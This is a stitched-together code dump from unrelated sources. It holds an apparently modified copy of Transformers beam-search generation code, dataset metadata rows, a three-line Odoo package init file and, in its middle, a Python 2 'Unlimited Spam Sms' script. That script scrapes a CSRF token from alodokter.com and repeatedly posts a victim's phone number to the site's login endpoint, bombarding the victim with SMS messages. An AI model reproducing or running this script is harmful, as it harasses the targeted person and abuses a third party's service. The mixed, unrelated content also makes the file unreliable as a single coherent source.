stopping_criteria = stopping_criteria if stopping_criteria is not None else StoppingCriteriaList()
if max_length is not None:
warnings.warn(
"`max_length` is deprecated in this function, use `stopping_criteria=StoppingCriteriaList(MaxLengthCriteria(max_length=max_length))` instead.",
UserWarning,
)
stopping_criteria = validate_stopping_criteria(stopping_criteria, max_length)
pad_token_id = pad_token_id if pad_token_id is not None else self.config.pad_token_id
eos_token_id = eos_token_id if eos_token_id is not None else self.config.eos_token_id
output_scores = output_scores if output_scores is not None else self.config.output_scores
output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions
output_hidden_states = (
output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states
)
return_dict_in_generate = (
return_dict_in_generate if return_dict_in_generate is not None else self.config.return_dict_in_generate
)
batch_size = len(beam_scorer._beam_hyps)
num_beams = beam_scorer.num_beams
batch_beam_size, cur_len = input_ids.shape
# init attention / hidden states / scores tuples
scores = () if (return_dict_in_generate and output_scores) else None
beam_indices = (
tuple(() for _ in range(batch_beam_size)) if (return_dict_in_generate and output_scores) else None
)
decoder_attentions = () if (return_dict_in_generate and output_attentions) else None
cross_attentions = () if (return_dict_in_generate and output_attentions) else None
decoder_hidden_states = () if (return_dict_in_generate and output_hidden_states) else None
# if model is an encoder-decoder, retrieve encoder attention weights and hidden states
if return_dict_in_generate and self.config.is_encoder_decoder:
encoder_attentions = model_kwargs["encoder_outputs"].get("attentions") if output_attentions else None
encoder_hidden_states = (
model_kwargs["encoder_outputs"].get("hidden_states") if output_hidden_states else None
)
beam_scores = torch.zeros((batch_size, num_beams), dtype=torch.float, device=input_ids.device)
beam_scores = beam_scores.view((batch_size * num_beams,))
this_peer_finished = False # used by synced_gpus only
first_pass = True
while True:
model_inputs = self.prepare_inputs_for_generation(input_ids, first_pass = first_pass,**model_kwargs)
outputs = self(
input_ids = model_inputs['input_ids'],
past_key_values = model_inputs['past_key_values'],
attention_mask = model_inputs['attention_mask'],
token_type_ids = model_inputs['token_type_ids'],
position_ids = model_inputs['position_ids'],
use_cache = model_inputs['use_cache'],
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
first_pass = first_pass,
)
first_pass = False
if synced_gpus and this_peer_finished:
cur_len = cur_len + 1
continue # don't waste resources running the code we don't need
next_token_logits = outputs.logits[:, -1, :]
# hack: adjust tokens for Marian. For Marian we have to make sure that the `pad_token_id`
# cannot be generated both before and after the `nn.functional.log_softmax` operation.
next_token_logits = self.adjust_logits_during_generation(next_token_logits, cur_len=cur_len)
next_token_scores = nn.functional.log_softmax(
next_token_logits, dim=-1
) # (batch_size * num_beams, vocab_size)
next_token_scores_processed = logits_processor(input_ids, next_token_scores)
next_token_scores = next_token_scores_processed + beam_scores[:, None].expand_as(next_token_scores)
next_token_scores = logits_warper(input_ids, next_token_scores)
# Store scores, attentions and hidden_states when required
if return_dict_in_generate:
if output_scores:
scores += (logits_warper(input_ids, next_token_scores_processed),)
if output_attentions:
decoder_attentions += (
(outputs.decoder_attentions,) if self.config.is_encoder_decoder else (outputs.attentions,)
)
if self.config.is_encoder_decoder:
cross_attentions += (outputs.cross_attentions,)
if output_hidden_states:
decoder_hidden_states += (
(outputs.decoder_hidden_states,)
if self.config.is_encoder_decoder
else (outputs.hidden_states,)
)
# reshape for beam search
vocab_size = next_token_scores.shape[-1]
next_token_scores = next_token_scores.view(batch_size, num_beams * vocab_size)
probs = nn.functional.softmax(next_token_scores, dim=-1)
next_tokens = torch.multinomial(probs, num_samples=2 * num_beams)
next_token_scores = torch.gather(next_token_scores, -1, next_tokens)
next_token_scores, _indices = torch.sort(next_token_scores, descending=True, dim=1)
next_tokens = torch.gather(next_tokens, -1, _indices)
next_indices = torch_int_div(next_tokens, vocab_size)
next_tokens = next_tokens % vocab_size
# stateless
beam_outputs = beam_scorer.process(
input_ids,
next_token_scores,
next_tokens,
next_indices,
pad_token_id=pad_token_id,
eos_token_id=eos_token_id,
)
beam_scores = beam_outputs["next_beam_scores"]
beam_next_tokens = beam_outputs["next_beam_tokens"]
beam_idx = beam_outputs["next_beam_indices"]
input_ids = torch.cat([input_ids[beam_idx, :], beam_next_tokens.unsqueeze(-1)], dim=-1)
model_kwargs = self._update_model_kwargs_for_generation(
outputs, model_kwargs, is_encoder_decoder=self.config.is_encoder_decoder
)
if model_kwargs["past"] is not None:
model_kwargs["past"] = self._reorder_cache(model_kwargs["past"], beam_idx)
if return_dict_in_generate and output_scores:
beam_indices = tuple((beam_indices[beam_idx[i]] + (beam_idx[i],) for i in range(len(beam_indices))))
# increase cur_len
cur_len = cur_len + 1
if beam_scorer.is_done or stopping_criteria(input_ids, scores):
if not synced_gpus:
break
else:
this_peer_finished = True
sequence_outputs = beam_scorer.finalize(
input_ids,
beam_scores,
next_tokens,
next_indices,
pad_token_id=pad_token_id,
eos_token_id=eos_token_id,
max_length=stopping_criteria.max_length,
)
if return_dict_in_generate:
if not output_scores:
sequence_outputs["sequence_scores"] = None
else:
num_return_sequences = beam_scorer.num_beam_hyps_to_keep
# return only as many indices as sequences
beam_indices = tuple(
(beam_indices[i * num_beams : i * num_beams + num_return_sequences] for i in range(batch_size))
)
beam_indices = sum(beam_indices, ())
if self.config.is_encoder_decoder:
return BeamSampleEncoderDecoderOutput(
sequences=sequence_outputs["sequences"],
sequences_scores=sequence_outputs["sequence_scores"],
scores=scores,
beam_indices=beam_indices,
encoder_attentions=encoder_attentions,
encoder_hidden_states=encoder_hidden_states,
decoder_attentions=decoder_attentions,
cross_attentions=cross_attentions,
decoder_hidden_states=decoder_hidden_states,
)
else:
return BeamSampleDecoderOnlyOutput(
sequences=sequence_outputs["sequences"],
sequences_scores=sequence_outputs["sequence_scores"],
scores=scores,
beam_indices=beam_indices,
attentions=decoder_attentions,
hidden_states=decoder_hidden_states,
)
else:
return sequence_outputs["sequences"]
def group_beam_search(
self,
input_ids: torch.LongTensor,
beam_scorer: BeamScorer,
logits_processor: Optional[LogitsProcessorList] = None,
stopping_criteria: Optional[StoppingCriteriaList] = None,
max_length: Optional[int] = None,
pad_token_id: Optional[int] = None,
eos_token_id: Optional[int] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
output_scores: Optional[bool] = None,
return_dict_in_generate: Optional[bool] = None,
synced_gpus: Optional[bool] = False,
**model_kwargs,
):
# init values
logits_processor = logits_processor if logits_processor is not None else LogitsProcessorList()
stopping_criteria = stopping_criteria if stopping_criteria is not None else StoppingCriteriaList()
if max_length is not None:
warnings.warn(
"`max_length` is deprecated in this function, use `stopping_criteria=StoppingCriteriaList(MaxLengthCriteria(max_length=max_length))` instead.",
UserWarning,
)
stopping_criteria = validate_stopping_criteria(stopping_criteria, max_length)
pad_token_id = pad_token_id if pad_token_id is not None else self.config.pad_token_id
eos_token_id = eos_token_id if eos_token_id is not None else self.config.eos_token_id
output_scores = output_scores if output_scores is not None else self.config.output_scores
output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions
output_hidden_states = (
output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states
)
return_dict_in_generate = (
return_dict_in_generate if return_dict_in_generate is not None else self.config.return_dict_in_generate
)
batch_size = len(beam_scorer._beam_hyps)
num_beams = beam_scorer.num_beams
num_beam_groups = beam_scorer.num_beam_groups
num_sub_beams = num_beams // num_beam_groups
device = input_ids.device
batch_beam_size, cur_len = input_ids.shape
if return_dict_in_generate and output_scores:
beam_indices = [tuple(() for _ in range(num_sub_beams * batch_size)) for _ in range(num_beam_groups)]
else:
beam_indices = None
if num_beams * batch_size != batch_beam_size:
raise ValueError(
f"Batch dimension of `input_ids` should be {num_beams * batch_size}, but is {batch_beam_size}."
)
# init attention / hidden states / scores tuples
scores = () if (return_dict_in_generate and output_scores) else None
decoder_attentions = () if (return_dict_in_generate and output_attentions) else None
cross_attentions = () if (return_dict_in_generate and output_attentions) else None
decoder_hidden_states = () if (return_dict_in_generate and output_hidden_states) else None
# if model is an encoder-decoder, retrieve encoder attention weights and hidden states
if return_dict_in_generate and self.config.is_encoder_decoder:
encoder_attentions = model_kwargs["encoder_outputs"].get("attentions") if output_attentions else None
encoder_hidden_states = (
model_kwargs["encoder_outputs"].get("hidden_states") if output_hidden_states else None
)
beam_scores = torch.full((batch_size, num_beams), -1e9, dtype=torch.float, device=device)
# initialise score of first beam of each group with 0 and the rest with 1e-9. This ensures that the beams in
# the same group don't produce same tokens everytime.
beam_scores[:, ::num_sub_beams] = 0
beam_scores = beam_scores.view((batch_size * num_beams,))
this_peer_finished = False # used by synced_gpus only
first_pass = True
while True:
# predicted tokens in cur_len step
current_tokens = torch.zeros(batch_size * num_beams, dtype=input_ids.dtype, device=device)
# indices which will form the beams in the next time step
reordering_indices = torch.zeros(batch_size * num_beams, dtype=torch.long, device=device)
# do one decoder step on all beams of all sentences in batch
model_inputs = self.prepare_inputs_for_generation(input_ids, first_pass = first_pass,**model_kwargs)
outputs = self(
input_ids = model_inputs['input_ids'],
past_key_values = model_inputs['past_key_values'],
attention_mask = model_inputs['attention_mask'],
token_type_ids = model_inputs['token_type_ids'],
position_ids = model_inputs['position_ids'],
use_cache = model_inputs['use_cache'],
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
first_pass = first_pass,
)
first_pass = False
if synced_gpus and this_peer_finished:
cur_len = cur_len + 1
continue # don't waste resources running the code we don't need
if output_scores:
processed_score = torch.zeros_like(outputs.logits[:, -1, :])
for beam_group_idx in range(num_beam_groups):
group_start_idx = beam_group_idx * num_sub_beams
group_end_idx = min(group_start_idx + num_sub_beams, num_beams)
group_size = group_end_idx - group_start_idx
# indices of beams of current group among all sentences in batch
batch_group_indices = []
for batch_idx in range(batch_size):
batch_group_indices.extend(
[batch_idx * num_beams + idx for idx in range(group_start_idx, group_end_idx)]
)
group_input_ids = input_ids[batch_group_indices]
# select outputs of beams of current group only
next_token_logits = outputs.logits[batch_group_indices, -1, :]
# hack: adjust tokens for Marian. For Marian we have to make sure that the `pad_token_id`
# cannot be generated both before and after the `nn.functional.log_softmax` operation.
next_token_logits = self.adjust_logits_during_generation(next_token_logits, cur_len=cur_len)
next_token_scores = nn.functional.log_softmax(
next_token_logits, dim=-1
) # (batch_size * group_size, vocab_size)
vocab_size = next_token_scores.shape[-1]
next_token_scores_processed = logits_processor(
group_input_ids, next_token_scores, current_tokens=current_tokens, beam_group_idx=beam_group_idx
)
next_token_scores = next_token_scores_processed + beam_scores[batch_group_indices].unsqueeze(-1)
next_token_scores = next_token_scores.expand_as(next_token_scores_processed)
if output_scores:
processed_score[batch_group_indices] = next_token_scores_processed
# reshape for beam search
next_token_scores = next_token_scores.view(batch_size, group_size * vocab_size)
next_token_scores, next_tokens = torch.topk(
next_token_scores, 2 * group_size, dim=1, largest=True, sorted=True
)
next_indices = torch_int_div(next_tokens, vocab_size)
next_tokens = next_tokens % vocab_size
# stateless
beam_outputs = beam_scorer.process(
group_input_ids,
next_token_scores,
next_tokens,
next_indices,
pad_token_id=pad_token_id,
eos_token_id=eos_token_id,
)
beam_scores[batch_group_indices] = beam_outputs["next_beam_scores"]
beam_next_tokens = beam_outputs["next_beam_tokens"]
beam_idx = beam_outputs["next_beam_indices"]
if return_dict_in_generate and output_scores:
beam_indices[beam_group_idx] = tuple(
beam_indices[beam_group_idx][beam_idx[i]] + (beam_idx[i],) for i in range(len(beam_indices[0]))
)
input_ids[batch_group_indices] = group_input_ids[beam_idx]
group_input_ids = torch.cat([group_input_ids[beam_idx, :], beam_next_tokens.unsqueeze(-1)], dim=-1)
current_tokens[batch_group_indices] = group_input_ids[:, -1]
# (beam_idx // group_size) -> batch_idx
# (beam_idx % group_size) -> offset of idx inside the group
reordering_indices[batch_group_indices] = (
num_beams * torch_int_div(beam_idx, group_size) + group_start_idx + (beam_idx % group_size)
)
# Store scores, attentions and hidden_states when required
if return_dict_in_generate:
if output_scores:
scores += (processed_score,)
if output_attentions:
decoder_attentions += (
(outputs.decoder_attentions,) if self.config.is_encoder_decoder else (outputs.attentions,)
)
if self.config.is_encoder_decoder:
cross_attentions += (outputs.cross_attentions,)
if output_hidden_states:
decoder_hidden_states += (
(outputs.decoder_hidden_states,)
if self.config.is_encoder_decoder
else (outputs.hidden_states,)
)
input_ids = torch.cat([input_ids, current_tokens.unsqueeze(-1)], dim=-1)
model_kwargs = self._update_model_kwargs_for_generation(
outputs, model_kwargs, is_encoder_decoder=self.config.is_encoder_decoder
)
if model_kwargs["past"] is not None:
model_kwargs["past"] = self._reorder_cache(model_kwargs["past"], reordering_indices)
# increase cur_len
cur_len = cur_len + 1
if beam_scorer.is_done or stopping_criteria(input_ids, scores):
if not synced_gpus:
break
else:
this_peer_finished = True
sequence_outputs = beam_scorer.finalize(
input_ids,
beam_scores,
next_tokens,
next_indices,
pad_token_id=pad_token_id,
eos_token_id=eos_token_id,
max_length=stopping_criteria.max_length,
)
if return_dict_in_generate:
if not output_scores:
sequence_outputs["sequence_scores"] = None
else:
beam_indices = sum(beam_indices, ())
num_return_sequences = beam_scorer.num_beam_hyps_to_keep
# return only as many indices as sequences
beam_indices = tuple(
(beam_indices[i * num_beams : i * num_beams + num_return_sequences] for i in range(batch_size))
)
beam_indices = sum(beam_indices, ())
if self.config.is_encoder_decoder:
return BeamSearchEncoderDecoderOutput(
sequences=sequence_outputs["sequences"],
sequences_scores=sequence_outputs["sequence_scores"],
scores=scores,
beam_indices=beam_indices,
encoder_attentions=encoder_attentions,
encoder_hidden_states=encoder_hidden_states,
decoder_attentions=decoder_attentions,
cross_attentions=cross_attentions,
decoder_hidden_states=decoder_hidden_states,
)
else:
return BeamSearchDecoderOnlyOutput(
sequences=sequence_outputs["sequences"],
sequences_scores=sequence_outputs["sequence_scores"],
scores=scores,
attentions=decoder_attentions,
hidden_states=decoder_hidden_states,
)
else:
return sequence_outputs["sequences"]
def constrained_beam_search(
self,
input_ids: torch.LongTensor,
constrained_beam_scorer: ConstrainedBeamSearchScorer,
logits_processor: Optional[LogitsProcessorList] = None,
stopping_criteria: Optional[StoppingCriteriaList] = None,
max_length: Optional[int] = None,
pad_token_id: Optional[int] = None,
eos_token_id: Optional[int] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
output_scores: Optional[bool] = None,
return_dict_in_generate: Optional[bool] = None,
synced_gpus: Optional[bool] = None,
**model_kwargs,
) -> Union[BeamSearchOutput, torch.LongTensor]:
# init values
logits_processor = logits_processor if logits_processor is not None else LogitsProcessorList()
stopping_criteria = stopping_criteria if stopping_criteria is not None else StoppingCriteriaList()
if max_length is not None:
warnings.warn(
"`max_length` is deprecated in this function, use `stopping_criteria=StoppingCriteriaList(MaxLengthCriteria(max_length=max_length))` instead.",
UserWarning,
)
stopping_criteria = validate_stopping_criteria(stopping_criteria, max_length)
if len(stopping_criteria) == 0:
warnings.warn("You don't have defined any stopping_criteria, this will likely loop forever", UserWarning)
pad_token_id = pad_token_id if pad_token_id is not None else self.config.pad_token_id
eos_token_id = eos_token_id if eos_token_id is not None else self.config.eos_token_id
output_scores = output_scores if output_scores is not None else self.config.output_scores
output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions
output_hidden_states = (
output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states
)
return_dict_in_generate = (
return_dict_in_generate if return_dict_in_generate is not None else self.config.return_dict_in_generate
)
# init attention / hidden states / scores tuples
scores = () if (return_dict_in_generate and output_scores) else None
decoder_attentions = () if (return_dict_in_generate and output_attentions) else None
cross_attentions = () if (return_dict_in_generate and output_attentions) else None
decoder_hidden_states = () if (return_dict_in_generate and output_hidden_states) else None
# if model is an encoder-decoder, retrieve encoder attention weights and hidden states
if return_dict_in_generate and self.config.is_encoder_decoder:
encoder_attentions = model_kwargs["encoder_outputs"].get("attentions") if output_attentions else None
encoder_hidden_states = (
model_kwargs["encoder_outputs"].get("hidden_states") if output_hidden_states else None
)
batch_size = len(constrained_beam_scorer._beam_hyps)
num_beams = constrained_beam_scorer.num_beams
batch_beam_size, cur_len = input_ids.shape
if num_beams * batch_size != batch_beam_size:
raise ValueError(
f"Batch dimension of `input_ids` should be {num_beams * batch_size}, but is {batch_beam_size}."
)
beam_scores = torch.zeros((batch_size, num_beams), dtype=torch.float, device=input_ids.device)
beam_scores[:, 1:] = -1e9
beam_scores = beam_scores.view((batch_size * num_beams,))
this_peer_finished = False # used by synced_gpus only
first_pass = True
while True:
model_inputs = self.prepare_inputs_for_generation(input_ids, first_pass = first_pass,**model_kwargs)
outputs = self(
input_ids = model_inputs['input_ids'],
past_key_values = model_inputs['past_key_values'],
attention_mask = model_inputs['attention_mask'],
token_type_ids = model_inputs['token_type_ids'],
position_ids = model_inputs['position_ids'],
use_cache = model_inputs['use_cache'],
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
first_pass = first_pass,
)
first_pass = False
if synced_gpus and this_peer_finished:
cur_len = cur_len + 1
continue # don't waste resources running the code we don't need
next_token_logits = outputs.logits[:, -1, :]
# hack: adjust tokens for Marian. For Marian we have to make sure that the `pad_token_id`
# cannot be generated both before and after the `nn.functional.log_softmax` operation.
next_token_logits = outputs.logits[:, -1, :]
# hack: adjust tokens for Marian. For Marian we have to make sure that the `pad_token_id`
# cannot be generated both before and after the `nn.functional.log_softmax` operation.
next_token_logits = self.adjust_logits_during_generation(next_token_logits, cur_len=cur_len)
next_token_scores = nn.functional.log_softmax(
next_token_logits, dim=-1
) # (batch_size * num_beams, vocab_size)
next_token_scores_processed = logits_processor(input_ids, next_token_scores)
scores_for_all_vocab = next_token_scores_processed.clone()
next_token_scores = next_token_scores_processed + beam_scores[:, None].expand_as(next_token_scores)
# Store scores, attentions and hidden_states when required
if return_dict_in_generate:
if output_scores:
scores += (next_token_scores,)
if output_attentions:
decoder_attentions += (
(outputs.decoder_attentions,) if self.config.is_encoder_decoder else (outputs.attentions,)
)
if self.config.is_encoder_decoder:
cross_attentions += (outputs.cross_attentions,)
if output_hidden_states:
decoder_hidden_states += (
(outputs.decoder_hidden_states,)
if self.config.is_encoder_decoder
else (outputs.hidden_states,)
)
# reshape for beam search
vocab_size = next_token_scores.shape[-1]
next_token_scores = next_token_scores.view(batch_size, num_beams * vocab_size)
next_token_scores, next_tokens = torch.topk(
next_token_scores, 2 * num_beams, dim=1, largest=True, sorted=True
)
next_indices = (next_tokens / vocab_size).long()
next_tokens = next_tokens % vocab_size
# stateless
beam_outputs = constrained_beam_scorer.process(
input_ids,
next_token_scores,
next_tokens,
next_indices,
scores_for_all_vocab,
pad_token_id=pad_token_id,
eos_token_id=eos_token_id,
)
beam_scores = beam_outputs["next_beam_scores"]
beam_next_tokens = beam_outputs["next_beam_tokens"]
beam_idx = beam_outputs["next_beam_indices"]
input_ids = torch.cat([input_ids[beam_idx, :], beam_next_tokens.unsqueeze(-1)], dim=-1)
model_kwargs = self._update_model_kwargs_for_generation(
outputs, model_kwargs, is_encoder_decoder=self.config.is_encoder_decoder
)
if model_kwargs["past"] is not None:
model_kwargs["past"] = self._reorder_cache(model_kwargs["past"], beam_idx)
# increase cur_len
cur_len = cur_len + 1
if constrained_beam_scorer.is_done or stopping_criteria(input_ids, scores):
if not synced_gpus:
break
else:
this_peer_finished = True
sequence_outputs = constrained_beam_scorer.finalize(
input_ids,
beam_scores,
next_tokens,
next_indices,
pad_token_id=pad_token_id,
eos_token_id=eos_token_id,
max_length=stopping_criteria.max_length,
)
if return_dict_in_generate:
if not output_scores:
sequence_outputs["sequence_scores"] = None
if self.config.is_encoder_decoder:
return BeamSearchEncoderDecoderOutput(
sequences=sequence_outputs["sequences"],
sequences_scores=sequence_outputs["sequence_scores"],
scores=scores,
encoder_attentions=encoder_attentions,
encoder_hidden_states=encoder_hidden_states,
decoder_attentions=decoder_attentions,
cross_attentions=cross_attentions,
decoder_hidden_states=decoder_hidden_states,
)
else:
return BeamSearchDecoderOnlyOutput(
sequences=sequence_outputs["sequences"],
sequences_scores=sequence_outputs["sequence_scores"],
scores=scores,
attentions=decoder_attentions,
hidden_states=decoder_hidden_states,
)
else:
return sequence_outputs["sequences"]
| 48.46 | 161 | 0.636238 | 10,486 | 92,074 | 5.250811 | 0.047397 | 0.024537 | 0.021141 | 0.035234 | 0.843934 | 0.827824 | 0.806066 | 0.797512 | 0.790865 | 0.785888 | 0 | 0.002882 | 0.295208 | 92,074 | 1,899 | 162 | 48.485519 | 0.845592 | 0.170048 | 0 | 0.712389 | 0 | 0.0059 | 0.05821 | 0.00906 | 0 | 0 | 0 | 0 | 0 | 1 | 0.0059 | false | 0.017699 | 0.010324 | 0 | 0.077434 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
0b9d6ab0162a4e62cee46091883f384aadd95874 | 5,254 | py | Python | SpamSms/spam-unli_open.py | Alpha-Demon404/RE-14 | b5b46a9f0eee218f2a642b615c77135c33c6f4ad | [
"MIT"
] | 39 | 2020-02-26T09:44:36.000Z | 2022-03-23T00:18:25.000Z | SpamSms/spam-unli_open.py | B4BY-DG/reverse-enginnering | b5b46a9f0eee218f2a642b615c77135c33c6f4ad | [
"MIT"
] | 15 | 2020-05-14T10:07:26.000Z | 2022-01-06T02:55:32.000Z | SpamSms/spam-unli_open.py | B4BY-DG/reverse-enginnering | b5b46a9f0eee218f2a642b615c77135c33c6f4ad | [
"MIT"
] | 41 | 2020-03-16T22:36:38.000Z | 2022-03-17T14:47:19.000Z | # Filenames : <Sazxt>
# python bytecode : 2.7
# Time Succses Parser : Mon Jul 6 12:54:48 2020
# Auto Parser Dis Version : 1.1.0
# Source : https://www.github.com/Datez-Kun
hii = '\x1b[4;32m'
b = '\x1b[34;1m'
pu = '\x1b[37;1m'
k = '\x1b[33;1m'
m = '\x1b[31;1m'
h = '\x1b[32;1m'
u = '\x1b[35;1m'
bi = '\x1b[36;1m'
hi = '\x1b[30;1m'
p = '\x1b[0m'
j = '\x1b[1;38;5;208m'
import requests, os, sys, time
from bs4 import BeautifulSoup as BS
os.system('clear')
os.system('xdg-open https://youtube.com/SanzSoekamti')
def meki():
ngeue = [
'', '.', '..', '...']
for x in ngeue:
print '\r\x1b[1;92m[' + pu + '+' + h + '] \x1b[1;93mProses\x1b[0m' + x,
sys.stdout.flush()
time.sleep(1)
class memek:
def __init__(self):
self.ses = requests.Session()
def kontol(self, no):
self.ses.headers.update({'referer': 'https://www.alodokter.com/login-alodokter'})
req1 = self.ses.get('https://www.alodokter.com/login-alodokter')
bs1 = BS(req1.text, 'html.parser')
token = bs1.find('meta', {'name': 'csrf-token'})['content']
head = {'user-agent': 'Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Mobile Safari/537.36',
'content-type': 'application/json',
'referer': 'https://www.alodokter.com/login-alodokter',
'accept': 'application/json',
'origin': 'https://www.alodokter.com',
'x-csrf-token': token}
req2 = self.ses.post('https://www.alodokter.com/login-with-phone-number', headers=head, json={'user': {'phone': no}})
if req2.json()['status'] == 'success':
print h + '[' + pu + '\xe2\x9c\x93' + h + '] ' + pu + 'Spam Sms ' + k + no + m + ' [' + h + ' Succes ' + m + ']'
else:
print m + '[' + pu + 'x' + m + '] ' + pu + 'Spam Sms ' + k + no + m + ' [' + u + ' Gagal ' + m + ']'
while True:
try:
time.sleep(10)
os.system('clear')
print j + ' /\\ ' + bi + '\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\xa3\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x97\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x97\xe2\x95\x94\xe2\x95\x90\xe2\x95\xa6\xe2\x95\x90\xe2\x95\x97 ' + u + '\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\xa3 \xe2\x95\x94\xe2\x95\x90\xe2\x95\xa6\xe2\x95\x90\xe2\x95\x97 \xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\xa3'
print j + ' / \\ ' + bi + '\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x97\xe2\x95\xa0\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d\xe2\x95\xa0\xe2\x95\x90\xe2\x95\x90\xe2\x95\xa3\xe2\x95\x91 \xe2\x95\xbd \xe2\x95\x91 ' + j + '\xc2\xab--\xc2\xbb ' + u + '\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x97 \xe2\x95\x91 \xe2\x95\xbd \xe2\x95\x91 \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x97'
print j + ' |' + u + '**' + j + '| ' + bi + '\xe2\x95\xbc\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d\xe2\x95\xbf \xe2\x95\xbc\xe2\x95\x9d \xe2\x95\xbf\xe2\x95\xa9 \xe2\x95\x9a\xe2\x95\xbe ' + u + '\xe2\x95\xbc\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d\xe2\x95\xbc\xe2\x95\xa9 \xe2\x95\xa9\xe2\x95\xbc\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d'
print j + ' |' + p + '--' + j + '| ' + m + '\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x97'
print j + '/[==]\\ ' + m + '\xe2\x95\x91 ' + h + 'Author' + m + ': ' + pu + 'Sanz ' + hi + 'X ' + h + 'Youtube' + m + ': ' + pu + 'SANZ SOEKAMTI ' + m + '\xe2\x95\x91'
print j + '|/' + bi + '\xe2\x80\xa2\xe2\x80\xa2' + j + '\\| ' + m + '\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d'
print pu + ' <' + m + '/' + pu + '> ' + hi + 'Unlimited Spam Sms ' + pu + '<' + m + '/' + pu + '>\n'
no = raw_input(h + '[' + pu + '\xc3\x97' + h + '] ' + k + 'Contoh ' + m + ': ' + p + '085xxxxxxxxx\n' + h + '[' + pu + '+' + h + '] ' + k + 'Target ' + m + ': ' + p)
jml = int(input(h + '[' + pu + '+' + h + '] ' + k + 'Jumlah Spam Sms ' + m + ': ' + p))
print pu + '-----------------------------'
meki()
print pu + '\n-----------------------------'
main = memek()
for i in range(jml):
main.kontol(no)
exit()
except Exception:
sys.exit()
except KeyboardInterrupt:
print m + '[' + pu + '!' + m + '] ' + p + 'Ctrl + C Detected'
sys.exit()
| 64.864198 | 570 | 0.561477 | 910 | 5,254 | 3.236264 | 0.214286 | 0.336163 | 0.339219 | 0.452292 | 0.566723 | 0.53854 | 0.518166 | 0.490323 | 0.479117 | 0.464856 | 0 | 0.213816 | 0.189951 | 5,254 | 80 | 571 | 65.675 | 0.478149 | 0.030834 | 0 | 0.060606 | 0 | 0.136364 | 0.604797 | 0.393826 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.030303 | null | null | 0.19697 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
f021947d25fd3b9a8941306260a0e4bbb768484e | 98 | py | Python | school_erp/wizard/__init__.py | saurabh-0777/odoo_project | c400ce051fcb69e7649285231080f6f6eddb2f8f | [
"MIT"
] | null | null | null | school_erp/wizard/__init__.py | saurabh-0777/odoo_project | c400ce051fcb69e7649285231080f6f6eddb2f8f | [
"MIT"
] | null | null | null | school_erp/wizard/__init__.py | saurabh-0777/odoo_project | c400ce051fcb69e7649285231080f6f6eddb2f8f | [
"MIT"
] | null | null | null | from . import update_age_wizard
from . import update_phone_wizard
from . import update_order_line
